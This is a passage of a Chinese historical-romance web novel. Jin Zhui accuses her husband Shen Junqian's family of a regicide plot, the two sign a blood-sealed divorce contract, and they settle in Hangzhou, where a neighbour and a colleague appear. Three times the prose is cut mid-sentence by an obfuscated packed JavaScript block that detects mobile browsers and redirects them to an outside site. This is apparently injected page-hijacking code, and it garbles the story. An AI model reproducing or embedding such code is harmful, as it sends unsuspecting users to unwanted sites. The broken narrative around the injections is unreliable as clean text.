“回去告诉那金霖老贼——金玉其外,败絮其中!时日曷丧,吾与汝俱亡!” 金坠一凛,面色煞白后退数步。君迁眉头紧锁,欲语还休地望着金坠,见杜峥告辞,忙送他出去。 屋中只剩下金坠一人。片刻,窗外的夜色中传来声声长叹,只听那身披枷锁的老翁迎着风雨仰天长啸: “苍天无眼!神佛无眼——嘉陵王殿下啊,你看见了吗!若有来世,切莫再投生此处!这人世间配不上你啊……” 金坠心惊肉跳,捂着心口跌坐在床榻上,用被子裹住自己。夜色已深,一宵冷雨,将官驿前的那株山樱树打得簌簌作响。她伴着那哀辗转反侧,不知多久才睡着,只记得梦境皆洇上了漫天飞红。 她在那十里山樱下看到一尊偌大的玉像。翡翠雕琢,清玉妆成;双目似闭微张,含情俯览众生——同寂照寺中的那尊水月观音如出一辙。她痴痴上前,正待凝望,那玉像阒然张目,面向她微笑起来。 “殿下……?” 她颤声呼唤,玉像仅报之以沉默的笑颜,那笑却令她陌生。金坠忽感到十分恐惧,战栗着向那雕像伸出手去。霎时狂风急逝,满天山樱似红雨零落。在那殷红花影之下,玉像宛如他所眺望的水中月影一般,徐徐碎裂,片片凋落,俄而溶蚀为一池暗绿的死水,仿佛漂满苍苔断萍的冥河。 暴雨似的落花猛扑向水面,须臾将那泛绿的幽潭染得血红。花瓣一经沾水,猝然萎谢,化作无数小小的浮尸,水中亦飘出阵阵刺鼻的腐秽气息。她想到佛经中的“天人五衰”之相,惊恐地叫出声来。就在她出声刹那,金光夺目,诸相消弭,眼前万物皆成灰烬。 金坠从梦魇中惊起,但觉周身灼烫,呼吸急促。睁开眼,日光正从窗间洒落。恍惚片刻,只见屋里只有她一人。她忙起身出屋,在廊中与人撞了个正着。抬起头来,正对上君迁那双清亮沉静的眼睛。 她装作没看见他,转身就走。君迁在身后唤住她:“你好些了么?” 金坠冷冷道:“我没事了。” 君迁欲言又止,只道:“胃口好些了么?可想吃些朝食?” 金坠才发觉自己饥肠辘辘,转身想下楼去吃饭。君迁道:“你回房吧,我替你端来。” “我自己能走。”金坠语气淡漠,“你在鹤山的公事都办完了么?若是办完了,今日就启程吧。” 君迁望着她:“你的脚伤……” 金坠打断他:“已经不疼了。码头就在附近,也不用走多少路,在船上养养就好了。” 君迁不多说什么,正要搀她,金坠一把甩开他,扶着楼梯扶手一瘸一拐地走下去。 二人无言对坐,匆匆用完朝食,打好行囊,便启程前去渡口。杜县令得知他们要走,亲自去江边送行。三人刻意对昨夜之事避而不谈,杜峥拉着君迁叙别一阵,又捧出一大枝山樱花递给金坠,笑道: “此行招待不周,颇感歉疚。这枝山樱还请娘子带去船上,旅途之中聊作慰藉吧。” 金坠整夜梦里都是这抹骇人的血色,谁知临别之际杜县令又送来一枝,不好拒绝,苦笑道:“昨日怪我添了麻烦,怎好劳烦杜县令亲自送花?” “不劳烦,这花其实不是我送的。”杜峥乜斜着君迁,“这山樱花呀,可是尊夫一早去采回来的,不好意思自己送你,特让我转交呢!” 君迁一愣:“我哪有……”还未说完,却被杜峥狠狠瞪了回去。 金坠幽幽道:“他替人治病送药还来不及,哪有空去摘花?杜县令就别借花献佛了!” 杜峥被她识破,讪笑道:“我这个师弟生性如此,满心只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16059097|177882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有他那些草药。往日同窗之时,大家都笑他成日只顾低头拾掇枯草,却不知抬头欣赏眼前春花……我昨日便劝他,既来了鹤山,好歹采几枝山樱花送给娘子,他虽有这心却不好意思,我只得越庖代俎、借花献佛了。礼轻情意重,还请娘子勿要见笑!” 金坠接过那枝山樱抱在怀中,淡淡一笑:“那便代外子谢过杜县令的花了。” “此番幸得尊夫亲临,为我们送来了防治樱疮的良方。鹤山百姓人人都想抢着送他花儿呢!”杜峥望向水边一片如烟如岚的花树,向他们一揖,“愿来年疫疾消退,花开之际,再与二位重逢共赏。” 作别杜县令,二人再次搭上南下杭州的客舟。小船娘见金坠抱着枝明艳的山樱花上船,喜欢得不得了,忙寻来只陶罐灌了清水,细心替她将花枝插瓶,摆在船舱中装点起来。 雨霁天青,舟楫摇曳,撷了一船樱色悠悠驶离鹤山渡。金坠伫立舷边,临舟远眺,见岸边那片山樱花渐渐消融在水天深处,恍然有如梦之感。 “今夕何夕兮搴洲中流,今日何日兮得与王子同舟。蒙羞被好兮不訾诟耻,心几烦而不绝兮得知王子。山有木兮木有枝,心悦君兮君不知……”【1】 小船娘一边摇着橹,一边轻唱着歌儿。歌声清扬,随木桨搅出的清涟一同消散在山水之间。金坠独自在甲板上发了会儿愣,便回到船舱。 君迁仍如往常那般,甫一上船便铺开满桌文牍,伏案疾书起来。金坠在他对面坐下,望着案几上那枝插了瓶的山樱花。春风入窗徐来,似嫌寂寞一般,将那枝头的花儿一片片拂落。落红随风飞往窗外,细雨似的落在水面上。 金坠百无聊赖,随手捡起一朵完整的重瓣落花,轻扯下一片花瓣扔进水里,蓦地叹道: “哎……!” 君迁应声抬头:“什么?” 金坠捧着手里的花,头也不抬:“没什么。不是唤你。” 君迁蹙蹙眉,复又埋首撰公文。金坠又扯下一片花瓣,抬高音量道:“不爱。” 对面那人不动声色。她又扯下第三片花瓣:“爱。” 随后是第四片:“不爱。” 扯下第五片花瓣后,君迁终于不堪其扰地搁下笔:“你做什么?” “做游戏。你不会没见过罢?”金坠拈着手中还剩一半的山樱花,“这是我小时候常同姊妹们玩的——你猜最后一片花瓣被扯下的时候,我是数到爱,还是不爱?” 君迁一怔,敛眉道:“我不知道。你慢慢数。” 金坠放下那花,盯着他看了半晌,忽道:“君迁,你爱我么?” 君迁握笔的手一颤,抬眸回望着她,正色道:“你准许我爱你么?” 金坠愣了愣,匆匆移目:“那是你的事,与我何干?——算了,问你也是白问!还是问问花神罢!” 说着,复又拾起那朵饱受摧残的山樱花,一片片扯下花瓣,数数的声音却愈来愈轻。撕得还剩三两片时,终于停下手来,再扯不下去了。君迁瞥她一眼,一面写字,一面淡淡问道: “花神如何说?” “……我数错了。” 金坠吞声踯躅,见君迁又顾自己伏案疾书,心中一闷,倏地站起来,没来由地质问他: “说什么百年修得同船渡,你就这样不珍惜和我在船上的机会?” 君迁一怔,无奈道:“金坠,我现在很忙……” “你几时不忙?” 金坠紧绞着手里那朵残花,染得满手血红,指甲都要掐进掌心里。深吸一口气,索性将心底藏了好几日的话倾泻而出: “你觉得我们这般……算是什么?” 【注释】 1.《越人歌》春秋 25.草木盟 此言一出,两人都怔住了。君迁凝眉呆望着她,似等待她继续说下去。金坠存心寻他的茬,背过身去,冷冷道: “我知道你心里怎么想!从成亲第一日起,你便嫌我烦,怪我成天惹事生非,搅得你不得安生,对不对?昨日你装出一副急态冒雨来寻我,不过是想在人前扮个好夫君,私下里看我笑话,是不是?” 君迁没来由遭她一顿训斥,未及回话,金坠又道: “我教你一招,不只片刻,从今往后都得安生——你写一纸放妻书与我和离,一别两宽各生欢喜,我即刻卷铺盖走人,莫说今生今世,永生永世也不来缠你!你若担心是天子赐婚,不好交代,尽可将我写得坏一些,什么离经叛道跋扈欺夫全往上写,反正我的名声也够差了,多添几项也无妨!本朝明律,败坏妇德者纵是皇亲国戚,夫家出妻亦不在话下。你主动同我和离,叔父叔母还得感谢你替金家保全了颜面呢!” 她连珠炮似的说了一大通,兀自向隅而坐。君迁半晌才回过神来,幽声道:“你就这般恨我?” “我不恨你,我恨我自己。”金坠红了眼圈,嗫嚅道,“恨我无力自立,只得像这小舟一般,漂到哪里便是哪里。” 她叹了口气,侧身望着船窗外水面上的碎漪,喃喃自语: “你知道的,在你之前,我曾有过两回名声不好的婚约。大抵我真是个天生铁扫帚吧!嫁给你之前,我本期盼会再度发生些什么,好让这桩亲事不成……可是这一回,什么也没有发生。仿佛天意如此,无论我如何折腾,都无法逃走。既然天不再帮我,我就自己帮自己,替自己挣得自由身——尽管那需要你施舍。” 言至此,回眸眄着君迁,泪水几欲夺眶。 “君迁,我求你行行好,帮我一把,让我上岸去吧,这对你我都是解脱……” 君迁望着她:“你若与我和离,打算去哪里?” “这你不必管我。世间之大,总有我容身处。”金坠紧盯着他,“你不必用这种眼神看我。你即使这般厌烦我却不愿与我和离,我也知是为什么——做金宰执的东床快婿对你而言,当真很重要么?” 君迁道:“你这般看我?” 金坠不忍看他,撇过脸去:“我问你,为何要娶我?” 君迁一怔,吞声踯躅,又听她问道:“昨夜那个人说的那件事,你知不知道?” 君迁意识到她要说什么,面色如纸,一时语塞。金坠攥紧自己被山樱花汁液染得殷红的掌心,冷声道: “去岁末先帝一夕暴病驾崩,继而嘉陵王猝逝在外,你觉得这两者之间可有关联?还有,你的祖父沈老医圣,当真是病逝的么?——放心,这是在船上,什么声音都只能传到水底下去。” 君迁嗫嚅:“你想说什么……?” “先帝驾崩前夜,你祖父曾奉诏入宫为他诊疗,奈何先帝之疾药石难治,无力回天。沈老医圣因此自责不已,抑郁成疾,今上继立未久,亦随先帝而去——这是人尽皆知的一版吧?我这里还有一版,当然只是我自己的猜测。沈学士可愿一闻?” 金坠不待君迁回应,咬了咬牙,兀自说下去: “先帝欲废太子而立嘉陵王,金霖恐大权旁落,暗中与为先帝侍药的医圣沈缙溪合谋,威逼利诱,令他趁先帝卧病,投毒弑君;再窜通其党羽,于大理点苍山设伏谋害回京奔丧的嘉陵王,谎称他因遭暴雨失足坠崖。如此一来,障碍皆除,年少的太子顺理成章登基继位,金霖亦顺理成章当上宰执,一言九鼎,把持朝政。” “至于人称医圣的沈清忠公,对自己犯下的弑君罪行良心难安。或郁郁而终,或畏罪自尽,将这桩不堪的秘密永远埋入尘土,留下一个三代单传的贤孙独在世间,攀龙附凤,禄运亨通,享尽了上位者许诺的锦绣前程——我说得对也不对?” 一字一句,道尽万钧秘辛。君迁如遭雷殛,呆望着她,哑声道:“你疯了。” “我没疯,你也没疯——疯的是他们,是我那好叔父和他那班党羽,是这个良心毁弃的世道!” 金坠厉声语毕,死死逼视着君迁: “难怪叔父硬要把我塞给你,原来是一场交易!你祖父为他干了脏活,他收你做东床快婿!其实他们做下的这些勾当,你也早猜到了,是不是?可你不敢说,因为那会使你祖父的一世英名蒙羞,也会断送你自己的大好前程,是不是?” 君迁不置可否,双目低垂,低低道:“世态如此。我只想尽我所能钻研药理,行医救人。那是我唯一能做的事。” 金坠冷笑一声,紧盯着他:“你之所以能安心钻研药理行医救人,是因你坐享了那些肉食者带给你的好处——你所谓的医道,建立在那些无辜受难之人经历的修罗鬼道之上,建立在累累白骨之上,你不觉得那就像个空中楼阁么?沈君迁,你不觉得这一切都很荒谬,也很残忍么?” 君迁面若死灰,僵在原处。金坠继续逼问他: “这一路上,我看你探访那些遭了瘟疫的村落,乐善好施行医救人,连水也顾不得喝一口。百姓都视你为神仙,你一定觉得自己很了不得吧?还是你觉得如此便可消除你祖父的业障?” 君迁一颤,只道:“你不明白。” “我当然明白!你清高,你脱俗,你一心想做圣人!你造了一座空牢笼把自己关住,忍辱负重受苦受难,好像凡人的贪嗔痴恨都与你无关,以为就此可遗世独立,邀得清名!” 船身颠簸,案前那枝山樱花不断飘落。金坠心头又烦又乱,蓦地立起来,指着君迁的鼻子疾声道: “你对别人如此,对我也是如此。摆出一副逆来顺受的隐忍面孔,任凭我激你骂你招惹你,好让我显得像个自讨没趣的跳梁小丑!风吹草木还会摇一摇发出声响,你呢?沈君迁,你知不知道自己究竟有多么无情,多么残忍?我这样对你,难道你一点也不怨不恨?” 她再也说不下去了,双手捂面,掩住汩汩而下的泪水。佛经云,从痴有爱,则我病生。嘉陵王死后,世间唯一对她症的药便已不在了。她在佛前发过誓,宁可病死,也不愿服别人开的药方,不愿成为别人的病患——尤其是他沈君迁的。 四下静得骇人,唯闻船舱外滔滔逝去的春水声。良晌,君迁淡淡道: “爱憎之权,人皆有之。你被逼着嫁给一个自己不爱的人,你没有错,你有权去激他骂他怨恨他,只是那个人恰好是我。我不怨,亦有权不怨。” 他轻叹一声,转头望着窗外流水,继续说道: “还有,我不想做什么圣人,也不想邀什么清名。我不敢断言你方才说的那些事与我毫无关系,但我所做的一切并非为了消除什么业障。别人如何想我不得而知,我从不觉得行医是什么善举,这只是我立身的术业。我在行应行之事,仅此而已。” 金坠一怔,拭去眼泪,抬眸见他正向自己望来,神色已恢复了素日的沉静,更添几分淡漠。他不疾不徐道: “你想和离是么?我答应你。” 金坠一凛:“真的?” 君迁点点头:“真的。” 金坠冷笑:“不必装善人,开条件罢!” 君迁从容道:“烦请将聘礼赔我。” 金坠蹙额:“什么聘礼?” 君迁道:“定亲那日我曾送至贵府诸多聘礼,余者也罢了,其中有一只药匣,不知你可还记得?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065725|177882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 金坠想起那只曾被她嘲笑的苦盒子,轩了轩眉:“记得。怎么了?” 君迁正色:“你可知那匣中之药价值几何?” “几何?” “价值连城。”君迁徐徐说道。 金坠一愣,觉得他那敝帚自珍的模样颇为好笑,讥道:“连城也好连国也罢,我命贱消受不起,原封还你便是!” 君迁道:“生药难以久存,放到如今已失了药效——你拿现钱赔我吧。” 金坠问道:“你要多少钱?” “价值连城,你说多少?”君迁反问。 金坠哑口无言。君迁见她面露难色,又徐徐道: “罢了,夫妻一场,便宜些罢——黄金十两,一文不可少。” “好啊……!夫妻一场,我竟没发觉你仁心仁术的医仙竟也是个财迷!”金坠气急败坏,“你既如此心疼钱财,当初何苦送这药给我?我又没病,白糟蹋了你价值连城的稀世名药!” 君迁面不改色,自若道:“早知今日,我是不会送的。那药是我从高山峭壁上亲手采来的,纵无连城之价,十两黄金总是值的——我行医一向有个规矩,若是救人性命之药,无论多贵都不取分文;若是救命之药被平白浪费,纵是遍地可见亦需以千金收取。此药本就名贵,我如今只收你十两,已是很实惠的价码了。娘子若照此价偿还,你我就此两清,和离自不在话下。” 他一番论断不紧不慢,声音沉稳,不容辩驳。金坠忍气吞声,思忖片刻,冷笑道: “沈学士金口玉言,我不得不从。黄金十两,赔偿你的灵丹妙药。凑齐这笔钱财之日,便是你我和离之日——不必担心,待到了杭州,我定好生思索生财之道,不会让你等太久的!” 她语毕,一把从君迁案头取过纸笔,濡墨疾书起来。少顷,将一纸写好的文书推至他面前。君迁接过,但见开头写有“契据”两个大字,不消说是他们才谈拢的和离条约。 “你过目完,若无异议,便画押罢!”她冷冷道。 君迁道:“我没带印泥。” 金坠二话不说,从他手中夺回契据,伸出指头放进嘴里一咬,狠狠一印,在纸上落下个带血的押印,又将那契据摊在案前,颇为释然地盯着君迁,仿佛做了一件快意恩仇之事。 君迁轻叹一声,移过契据来,正要效仿她歃血为盟,金坠一把按住他的手道: “可别!你的手金贵,还得留着救人。这契据我先保管,待上岸后你再画押不迟……” 话音未落,君迁却已兀自在指尖咬出个口子往纸上一印,淡淡道:“不碍事。” 语毕复又提笔濡墨,伏案写起文牍来。金坠冷哼一声,将契据小心收好,起身到甲板上透风。走到门边又回过头来,冷声道: “你放心,今日在船上的话我不会说与他人听……说了也没人信。” 君迁头也不抬:“我也不会。” “谅你也不会!”金坠扔下一言,拂袖而去。 春风渡水而来,似好奇顽童,隔窗偷采着案上陶罐中的那枝山樱花。掉落的花如绯色星点洒了满案,连砚台中也浮着几片。君迁用笔豪轻轻沾出,出神地看着那皎洁花瓣缓缓为墨色所染。 须臾一记轻响,又一瓣山樱落在案牍上。君迁正要拭去,恍然瞥见那落樱格外的红,方醒悟过来,那并不是花瓣,分明是从自己刚咬破的指尖上滴落的血珠——直至此刻,他才觉察到了近乎难捱的刺痛。 他冷笑一声,任由血珠缓缓淌落。举目望向案前那束撷自鹤山的花枝,目之所及,不由心折。 他才发觉,来时几乎压弯枝条的累累繁花已悄无声息地落光了。 26.江南春 自从在鹤山南下的船上大闹一场,有了和离之约,金坠再不像往日那般挑事,一路只顾埋头绣花。君迁亦不多言,不是撰文便是看书。因彼此都将话说开了,二人反倒在余下的旅途中相敬如宾,任谁都将他们视作一双贤伉俪。 君迁毕竟仁心仁术,虽遭情劫,一路仍克尽厥职,途径遭疫疾的村镇皆会稍作停留,上岸义诊派药。金坠见怪不怪,仍如之前一般自愿当他的药童,此外不多说半句话。如此走走停停,十数日后,终于抵达杭州。 时近四月,正值江南风光最盛时。二人无心赏景,赶早在大运河畔的码头下了船,一路分花拂柳,匆匆乘车进城去往住处。 居所在杭城武林门外,是一处闹中取静的小合院。夹道满路植桃树,人称“半道红市”。花期正盛,但见巷中乱花迷眼,满目桃红。金坠不禁揶揄: “好一个世外桃源!夫君你倒是会挑地儿。” 君迁淡淡道:“官府分调的住处,租契已定,娘子若有不满,只得搬出去住了。” “足不出户便可赏花,有何不满?”金坠反唇相讥,“再说我搬出去,你替我付房费么?” 君迁从容道:“我可替你代付,届时同聘金一并还来便好。” “你还真是一毛不拔啊!”金坠白他一眼,冷笑着望向眼前成片桃花,“但愿待这半道红花落尽,我那十两黄金也能有个着落。届时我自会搬走,你尽情在这桃花源里逍遥吧!” “那你需快些了,落花不待人。” 君迁微微一哂,将落在肩上的桃瓣轻轻拂落,径自上前叩门。 应门的是宛童,见了他们,好不欢喜,忙将阔别已久的男女主人迎进门来,一路拉着金坠嘘寒问暖。老管事谢翁已携沈府仆婢提前来此安顿,早已备好了一席时新春菜为他们接风。 二人一路风餐露宿,见了这些精致的江南佳肴自是开胃,稻香鱼肥野菜香,惹得金坠连吃了两碗饭。君迁显也饿了,又恐误了去杭州府衙谒见上司的时辰,匆匆扒上几口便起身走了。宛童见状长吁短叹,金坠懒得管他,徐徐道: “公事要紧,回头再将饭菜热一遭给他便是。” 宛童道:“本想他调来杭州可清闲些许,不料还是这般,一来连顿热饭热茶都吃不上!” 金坠道:“毕竟救死除疾,闲不得的。他若吃上热饭热茶,许多人可就吃不上了。” 宛童嗔道:“世间得病的人那么多,哪有他一个人救的道理!沈学士这般委屈自己,只恐五娘也跟着受累!” “夫唱妇随,皆是我应得的。再说我这不正吃着热茶么,哪儿就受累了?”金坠呷了口宛童端上的茶,望着盏中碧绿的茶汤惊叹,“噫,这茶好香呀!” 宛童道:“这是上天竺新产的白云春茶,金贵得很,是隔壁那位罗娘子送来的!咱们刚搬来时人生地不熟,多亏罗娘子常来帮着打点。她夫君梁医正在杭州医局当差,听说五娘也随夫君来了,只盼着你早些到呢。” 金坠笑道:“那可好!有幸遇上了好邻居,还是同道中人,回头我可得好生登门答谢。” “倒真是同道中人!早听罗娘子抱怨,她家那位也是个不爱着家的,全凭她日夜管着呢!五娘也该向她取取经,万不能让沈学士老撇下你!” “他这一路上何曾撇下我了?日日在船上大眼瞪小眼,腻歪死了。好容易上了岸,他爱去哪儿去哪儿,我乐得清净。” 宛童哼了一声:“他这做夫君的不陪你,宛童陪你!好容易来了杭州,五娘歇息歇息,明日咱们去西湖边走走吧!” 正说着话,忽听廊外有个娇音盈盈飘来:“宛童,你家娘子到了么?” 宛童忙对金坠道:“是隔壁罗娘子来了!” 金坠忙起身出去迎客。只见廊中迤逦走来个娇俏的女娘,桃面粉圆,提着只果篮儿,看模样比她还小上一两岁,大约便是那热心的罗娘子。金坠上前致礼,带客进屋入座。来人晏晏还礼,将带来的一篮蜜饯果子递给金坠,说是自己做的。金坠连忙道谢,对方用软糯的江南口音说道: “金姊姊客气什么,大家邻居,唤我盈袖便好!姊姊怎么称呼?” “唤我金坠便好。” 金坠还不太适应这自来熟的热情,那罗娘子又问道: “姊姊的名字怎么写的?我近来在学识字,还请姊姊教我!” 金坠闻言,正要回头去寻书具,盈袖从腰带上解下只长条形的织锦小囊打开,从中掏出只小墨盒、一支笔和几枚小笺一并递给金坠。金坠头一回见到随身携书袋的女子,盛情难却,只得提笔写下了那个字。盈袖凑上前看了半天,皱眉道: “好难写呀,不愧是大家闺秀的名儿!这是‘缀玉连珠’的那个‘缀’么?” 金坠淡淡道:“是累坠的坠。” 盈袖一怔,吃吃一笑:“有姊姊那么美的累坠,也是福气呢!” 金坠笑道:“盈袖妹妹也美,你的名字也好听。” “我的名字是祖父给取的,他老人家是读书人,说‘盈袖’这两个字与我很是般配——我家是开香铺的嘛!可惜祖父去世得早,不然他一定从小教我识字,如今我也不必成天吊着个书袋子装女学士了!” 盈袖颇为自得,提笔在小笺上写下自己那浮着暗香的名来,端详片刻,苦笑道: “就是字丑了些,不大般配,让坠姊姊看笑话了!——姊姊刚到吧,怎么不见你家那位学士郎?听说他是本朝太医局里最年轻的教授,我还盼着同他学些草药知识呢!” “他去办公事了。” “刚来就去?这杭州药局又不比你们帝京的太医局,平日也没多大事呀……” “神医也得定时参拜上司啊。尊夫既是药局同僚,想必也逃不开吧?” 金坠漫不经心地一语,谁知那小娘子登时撅起嘴来,气鼓鼓道: “我家那个死鬼就别提了!说是个悬壶济世的,谁知搁了壶都在哪儿当混世魔王!坠姊姊,你初来此地,可千万看好你家夫君——杭州处处花街柳巷,稍不留神,他可就被花妖狐媚勾走了!” 金坠哭笑不得:“多谢提点。外子生来不解风情,若有花妖狐媚愿意勾他,倒也是他的福分。” 盈袖未料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071135|177882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到她这番慷慨陈词,讪笑几声,转开话题道: “坠姊姊初来乍到,还未熟悉新居吧?不瞒姊姊,这房子当初我可眼馋了好久,本想着旧居租期一到便搬来的,后来却听说已给了帝京来的沈学士夫妇,害我嫉妒得不行呢!这屋子里里外外我都走遍了,我领姊姊去参观一回吧!” 那罗娘子红袖招展,步态盈盈,一副鸠占鹊巢的模样。金坠虽感无奈,也不好拒绝,只得由她领着自己在新屋中逡巡。东西南北各厢悉数参观毕,二人来到庭院后的寝房外。只见窗前一株桃树开得夺目,迎风摇曳,满园清芳。盈袖不禁伫立花下,举目吟咏道: “桃之夭夭,灼灼其华。之子于归,宜其室家……真好啊!与心上人住在这样的地方,定能白头偕老呢!” 金坠微笑道:“罗娘子若喜欢这里,待外子任期满了,我让他直接将房契转给你便是。” 盈袖惊道:“你们莫非还要走么?” 她此言十分天真,金坠只得解释道:“外子此行只是公差,大抵只在杭州待数月半载。” 盈袖怏怏道:“那么快?难得有个能说话的姊妹,谁知刚熟悉起来又要走了……要这空房子有何用,又不能陪我解闷!” 金坠唯恐被这□□拉着解闷,正要解释自己平日很忙,无暇陪她玩过家家,盈袖却已兀自进屋,指着堆放在寝房墙角的箱笼道: “坠姊姊带来的东西还未及整理吧,就这么堆着多乱呐!我帮你搬到架上吧。” 金坠忙道:“不用麻烦,我自己来便好……” “没事儿没事儿,我这人最闲不得了!” 盈袖说着已俯身搬起几只奁匣。金坠最不喜别人动她东西,忙上前婉拒,那小娘子却不依不挠,执意要替她搬运物件。金坠一急,只得上手阻止,反激起了盈袖助人为乐的热情—— 二人你拉我扯,三推四让,那纤纤素手猛地一颤,抱在怀中的三五只匣子轰然落地,匣中物品如天花乱坠,散了一地。 “坠姊姊饶了我!我,我不是故意的……” 盈袖摔了她的东西,慌忙赔礼。金坠见她楚楚可怜,岂能不饶,只得好言劝了几句,俯身收拾散落满地的杂物。盈袖忙也蹲下,替她一件件拾物,忽指着墙隅处道: “这是什么呀?红彤彤的,真可爱!” 金坠应声望去,只见满地皆是石榴籽儿似的小红果子。果实皆已风干,从倒扣着的紫檀木匣中四散滚出,远看宛如断了线的玛瑙串珠—— 那小匣上还系着红绸带,不是定亲纳彩那日单独送来她房中的那一盒聘礼,又是什么? 金坠一怔,未及反应,盈袖已拈起一粒小红果举在眼前辨认起来。金坠忙道: “你认得么?” “是红豆么,还是樱桃?都不像啊……闻着还有股苦味儿——大概是什么入药用的小野果吧,我叫不出名字,药铺上倒是挺常见的。是你家沈学士的么?” 盈袖好奇语毕,扭头看向金坠,却见她蓦地冷笑一声,兀自攥了一把红果在掌心,端详半晌,幽幽自语: “价、值、连、城?” 27.望湖山 地方药局始设于本朝初,于各郡县并置,是官办的医药专署。规制类帝京熟药所,主管全国药品炮制买卖兼医病施诊。每度由太医局选调医官赴任,政务上隶本地官府管辖,新任官员按例需前去交接。 君迁此行奉密诏而来,借协理医事之名,只为在杭州筹设施药济病局,以纾民之贫疾。虽已拟好了治要方略,毕竟兹事体大,他又初来杭州,对此间官场情态不甚了解,一时迷茫万分。想到临行前少年天子的殷殷冀望,不由得倍感焦虑。 君迁一路沉思公事,不觉到了杭州府衙外,下了车后竟径自步入其中。守卫当他是闲杂人等,高声喝住。君迁如梦方醒,取出随身所带的吏部官牒及太医局调令文凭递上。那守卫并不识字,见了牒文上的官印,只得放行。 君迁进入府衙,但见庙堂高深,明镜高悬,无数身着相同官服的人穿行其间,无不是步履匆匆,来去如风。君迁试图拦人问询,一连数回都无人搭理他,不由焦躁。良久终于有个衙役驻足听了他的来意,只说知州和通判都外出理政未归,打发他先去门房候见。 衙门一大,门房亦分数间。那衙役领着君迁进了间转角的小房,室内仅有两排小凳,挤满了前来谒见等候的人,应是品级最低的一间。君迁也不多话,静坐一隅,等待上司召见。 不知过了多久,眼见屋里的人一个个都被唤出去了,只剩自己仍枯坐苦等,耐心如君迁亦不禁蹙眉。正要起身出去察看,外头忽风风火火闯进个人来,抱着一摞公牒坐在君迁对面,不忘回头向门外抱怨: “又不是杀头,说什么午时三刻前必须递交,催命似的!害我紧赶慢赶,到了又把人晾这儿坐冷凳!” 君迁瞥了他一眼,见其人是个身着八品文官青袍的青年,看模样与自己同龄。生得剑眉星目,一表人才,行止却很轻浮。那人怨声载道了一阵,见没人理他,只得怏怏地闭了嘴。半晌又嫌无聊,主动向同在苦等的君迁搭话道: “你等了多久?” 君迁不愿与生人闲聊,只敷衍道:“很久。” 那惨绿青年抬眼打量着他:“看你风尘仆仆,是刚从外地赶来的吧?敢问贵驾打哪儿来?” “从帝京来。” “帝京?莫非便是那位传闻中的神医?” 那人一惊,不待君迁回话,兀自上前殷勤作揖道: “幸会幸会,在下杭州药局医正梁恒!看门的宵小有眼不识,怠慢了沈学士,还望海涵!” 说着复又扭头冲门外一通嚷嚷: “晓得这是谁么?帝京来的正四品翰林紫金医学士!皇家御医,德高望重!是能让你们晾在这黑屋子里头的么!” 那架势恨不得昭告天下前来奉迎。君迁吓了一跳,忙起身阻道:“无妨的,我才刚到。” 梁恒笑嘻嘻道:“沈学士是今早到的杭州?舟车劳顿,何不先歇息一日,这衙门又跑不了,点卯不差这点时辰!” 君迁耐着性子问道:“请问王知州何时归来?” “王知州?听说他一早就陪几个西域来的布商到文锦院看丝绸去了,一时半会儿恐回不来。沈学士与其在这儿枯坐,不如先随我去西湖逛逛呢!” “那苏通判呢?” “他老人家就更见不着影了!那可是个不喜坐衙门的主儿,专爱去微服私访,调来杭州两个月,可谓是披星戴月、宵衣旰食,我都没见过他几回……哎,沈学士这是要去哪儿?” 梁恒见君迁起身要走,忙拉住他,生怕被撇下似的。君迁淡淡道: “如此,我便先去杭州药局了。梁医正不回去么?” “午后非我轮值,本想来府衙递了这份公文就去游湖呢。沈学士既刚巧来了,我也不好失陪——请君在此稍待片刻,我去交了差便与你一同回药局去!” 梁恒说罢,也不管尚无人来唤他,径自抱着那公文冲出去了。既是医门同僚,君迁也不好撇下他,只得在原地等着。良晌梁恒才空着手回来,冲他扬眉笑道: “沈学士等急了吧?江南不比帝京,暖风熏人醉,凡事都慢上几拍。我刚到时也不适应,久了反嫌以往过的日子太赶哩——走,我带你上药局去!” 二人从杭州府衙走出,往药局方向而去。梁恒双手抱臂,信马由缰,优哉游哉,逛街似的。君迁不识路,只得亦步亦趋跟着他。行了许久,但见远处湖光山色如画卷一般映入眼帘,引人驻足观赏。梁恒徐徐止步,遥指着那处道: “君且看那西湖山水,烟波画船,波澜无惊,不疾不徐,恰如春去秋来,生老病死,世间万物各有其序,何苦急于一时?” 君迁幽声道:“若是急病待医、卒死待葬之人,恐难作如是观。” 梁恒闻言,反大笑道:“早闻沈学士仁心济世,切莫与在下一般见识!学士放心,梁某虽顽劣了些,却也安守医道本分,性命攸关之事是绝不敢怠惰的——然则终归不如阁下有生死肉骨之德,日后还有劳你多加指教!” “医道精深,同侪互济,梁医正过谦。”君迁顿了顿,“吴越医家辈出,名门林立,想必药局不至独木难支。” 